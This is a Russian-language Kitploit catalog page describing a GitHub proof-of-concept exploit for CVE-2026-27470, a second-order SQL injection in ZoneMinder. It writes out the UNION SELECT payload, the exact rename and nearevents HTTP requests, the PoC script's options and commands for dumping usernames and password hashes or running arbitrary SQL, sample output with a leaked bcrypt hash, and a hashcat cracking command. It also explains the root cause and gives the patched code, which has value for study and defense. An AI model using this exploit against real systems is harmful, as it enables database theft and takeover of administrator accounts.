Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-27470 — Доказательство концепции эксплуатации SQL-инъекции второго порядка в ZoneMinder (CVE-2026-27470). Демонстрирует аутентифицированное извлечение данных, включая учётные данные пользователей, с возможностями выполнения пользовательских запросов и дампа хэшей. | Kitploit
Инструменты/GitHubGitHub/kocaemre/cve-2026-27470
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и Образование
GitHubkocaemre/cve-2026-27470

CVE-2026-27470

Доказательство концепции эксплуатации SQL-инъекции второго порядка в ZoneMinder (CVE-2026-27470). Демонстрирует аутентифицированное извлечение данных, включая учётные данные пользователей, с возможностями выполнения пользовательских запросов и дампа хэшей.

Репозиторий
66 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

⚠️ YASAL UYARI / LEGAL DISCLAIMER

Bu araç yalnızca eğitim amaçlı ve yazılı izin alınmış güvenlik testleri için geliştirilmiştir. Sahip olmadığınız veya test etmek için açık yazılı izniniz olmayan sistemlere karşı kullanılması yasadışıdır. Yetkisiz erişim, birçok ülkede ağır cezai yaptırımlara tabidir (Türkiye TCK m.243-245, ABD CFAA, AB NIS Direktifi vb.). Bu aracın kötüye kullanımından doğacak her türlü yasal sorumluluk kullanıcıya aittir; yazar hiçbir sorumluluk kabul etmez.

This tool is provided strictly for educational and authorized security research purposes. Using it against systems you do not own or do not have explicit written permission to test is illegal. Unauthorized access may violate laws such as the CFAA (US), Computer Misuse Act (UK), and equivalent legislation worldwide. The author assumes no liability for any misuse of this tool.


CVE-2026-27470 — SQL-инъекция второго порядка в ZoneMinder

CVE CVSS Affected Fixed

Эксплойт proof-of-concept для уязвимости SQL-инъекции второго порядка в ZoneMinder. Аутентифицированный пользователь с правами на редактирование и просмотр событий (Events) может извлечь произвольные данные из базы данных — включая все учётные данные пользователей.


Обзор

ПолеДетали
CVE IDCVE-2026-27470
СерьёзностьВЫСОКАЯ — CVSS 8.8
ВекторAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Затронутые версииZoneMinder ≤ 1.36.37 и 1.37.61 – 1.38.0
Исправлено в1.36.38 / 1.38.1
Файлweb/ajax/status.php → getNearEvents()
CWECWE-89: Improper Neutralization of SQL Commands
Требуется аутентификацияДа — права на редактирование и просмотр Events

Детали уязвимости

Паттерн второго порядка

Это классическая SQL-инъекция второго порядка (хранимая). Атака происходит в две отдельные фазы, поэтому традиционные сканеры часто её пропускают.

Фаза 1 — Безопасная запись

Атакующий переименовывает событие с вредоносной нагрузкой. ZoneMinder корректно использует параметризованный запрос, поэтому нагрузка безопасно сохраняется в базе данных без каких-либо ошибок:

root@kitploit:~
POST /index.php HTTP/1.1

request=event&action=rename&id=1&eventName=' UNION SELECT Password,NULL FROM Users LIMIT 0,1-- -
root@kitploit:~
// web/ajax/event.php — безопасно ✅
dbQuery('UPDATE Events SET Name = ? WHERE Id = ?', [$_REQUEST['eventName'], $id]);

На этом этапе всё выглядит чисто. Нагрузка тихо лежит в столбце Events.Name.

Фаза 2 — Уязвимое чтение

Атакующий вызывает getNearEvents(), запрашивая ближайшие события для той же записи события. Функция считывает сохранённое значение Name обратно из базы данных и конкатенирует его напрямую в новый SQL-запрос без какого-либо экранирования:

root@kitploit:~
GET /index.php?request=status&entity=nearevents&id=1&sort_field=Name&sort_asc=1 HTTP/1.1
root@kitploit:~
// web/ajax/status.php ~строка 460 — УЯЗВИМО ❌
$event = dbFetchOne('SELECT * FROM Events WHERE Id=?', NULL, [$id]);

$sql = 'SELECT E.Id, E.StartDateTime FROM Events E
        INNER JOIN Monitors M ON E.MonitorId = M.Id
        WHERE E.Name >= \'' . $event[$_REQUEST['sort_field']] . '\'  // ← точка инъекции
        AND (' . $filter->sql() . ') AND E.Id < ' . $event['Id'];

Сохранённая нагрузка вырывается из строкового контекста, и внедрённый UNION SELECT выполняется, утекая данные в поле NextEventId JSON-ответа:

root@kitploit:~
{
  "result": "Ok",
  "nearevents": {
    "EventId": "1",
    "NextEventId": "$2b$12$NHZsm6AM2f2LQVROriz79ul3D6DnmFiZC.ZK5eqbF.ZWfwH9bqUJ6",
    "NextEventStartTime": null
  }
}

Почему это опасно

Разработчик совершил очень распространённую ошибку: он корректно очистил пользовательский ввод при записи, создав ложное чувство безопасности. Предположение, что «данные из нашей собственной базы безопасны», позволило уязвимости существовать в пути чтения годами. WAF и большинство автоматических сканеров не поймают это, потому что запрос на запись выглядит полностью чистым.


Использование

Требования

root@kitploit:~
pip install requests

Параметры

root@kitploit:~
-t, --target      URL цели (например, http://10.10.10.10:8080)
-u, --username    Имя пользователя ZoneMinder
-p, --password    Пароль ZoneMinder
--event-id        ID события для использования в качестве носителя инъекции
--query           Пользовательский SQL-запрос для выполнения
--dump-users      Извлечь все имена пользователей и хэши паролей
--field           Поле инъекции: Name (по умолчанию) или Cause
--no-restore      Не восстанавливать имя события после эксплуатации

Примеры

root@kitploit:~
# Проверка версии БД (простейший тест)
python3 poc.py -t http://TARGET -u admin -p admin --event-id 1 \
  --query "SELECT VERSION()"

# Извлечение всех пользователей и хэшей паролей
python3 poc.py -t http://TARGET -u admin -p admin --event-id 1 \
  --dump-users

# Инъекция через поле Cause вместо Name
python3 poc.py -t http://TARGET -u admin -p admin --event-id 1 \
  --field Cause --dump-users

# Пользовательский запрос
python3 poc.py -t http://TARGET -u admin -p admin --event-id 1 \
  --query "SELECT @@hostname"

Вывод

root@kitploit:~
╔══════════════════════════════════════════════════════════╗
║   CVE-2026-27470 — ZoneMinder Second-Order SQLi PoC     ║
║   CVSS 8.8 | Authenticated | Events Permission           ║
╚══════════════════════════════════════════════════════════╝

[*] Target    : http://10.10.10.10:8080
[*] Logging in...
[+] Session established.
[+] Event ID (manual): 1
[*] Injecting payload (Name field)...
[+] Payload stored via parameterized query — looks clean in DB.
[*] Triggering second-order injection...
[*] HTTP 200
[*] Event name restored.

[+] User count: 2

[*] Running query: SELECT Username FROM Users LIMIT 0,1
[*] Running query: SELECT Password FROM Users LIMIT 0,1
[+] User 1: admin:$2b$12$NHZsm6AM2f2LQVROriz79ul3D6DnmFiZC.ZK5eqbF.ZWfwH9bqUJ6

[*] Running query: SELECT Username FROM Users LIMIT 1,1
[*] Running query: SELECT Password FROM Users LIMIT 1,1
[+] User 2: operator:$2b$12$xK8s...

Схема атаки

root@kitploit:~
Attacker                      ZoneMinder                     MariaDB
   │                               │                              │
   │  POST /index.php              │                              │
   │  action=rename                │                              │
   │  eventName=<PAYLOAD>  ──────► │                              │
   │                               │  UPDATE Events SET Name=?  ──►│
   │                               │  (parameterized — safe)      │
   │                               │◄─────────────────────────────│
   │                               │                              │
   │  GET /index.php               │                              │
   │  entity=nearevents    ──────► │                              │
   │  sort_field=Name              │  SELECT * FROM Events WHERE  │
   │                               │  Id=?                      ──►│
   │                               │◄── Name = '<PAYLOAD>' ───────│
   │                               │                              │
   │                               │  builds SQL string:          │
   │                               │  WHERE Name >= '<PAYLOAD>'   │
   │                               │  (no escaping!)              │
   │                               │  UNION SELECT executes ────► │
   │                               │◄── credentials ──────────────│
   │◄── JSON with leaked data ─────│                              │

Воздействие

  • Конфиденциальность: Полное чтение базы данных — все хэши пользователей, API-ключи, конфигурации мониторов, системные настройки
  • Целостность: В зависимости от конфигурации драйвера базы данных, stacked-запросы могут позволить модификацию данных
  • Повышение привилегий: Офлайн-взлом bcrypt-хэша администратора и получение полного доступа к ZoneMinder
root@kitploit:~
# Взлом собранных хэшей с помощью hashcat
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt

Примечания

  • Events.Name имеет тип varchar(64) в базе данных — держите нагрузку инъекции короче 63 символов
  • Результат инъекции появляется в поле nearevents.NextEventId в JSON-ответе
  • ZoneMinder использует bcrypt для хэширования паролей (режим 3200 для hashcat)
  • Защита от CSRF обрабатывается автоматически PoC-скриптом

Исправление

Обновите ZoneMinder до версии 1.36.38 или 1.38.1.

Исправление заключается в использовании параметризованного плейсхолдера запроса для сохранённого значения вместо конкатенации строк:

root@kitploit:~
// До (уязвимо)
$sql = "... WHERE E.Name >= '" . $event[$sort_field] . "'";

// После (исправлено)
$sql = "... WHERE E.Name >= ?";
$result = dbQuery($sql, [$event[$sort_field]]);

Ссылки

  • GitHub Security Advisory GHSA-r6gm-478g-f2c4
  • ZoneMinder 1.36.38 Release
  • ZoneMinder 1.38.1 Release

Отказ от ответственности

Этот инструмент предназначен только для образовательных целей и авторизованных исследований безопасности.
Не используйте его против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения.

Скачать инструмент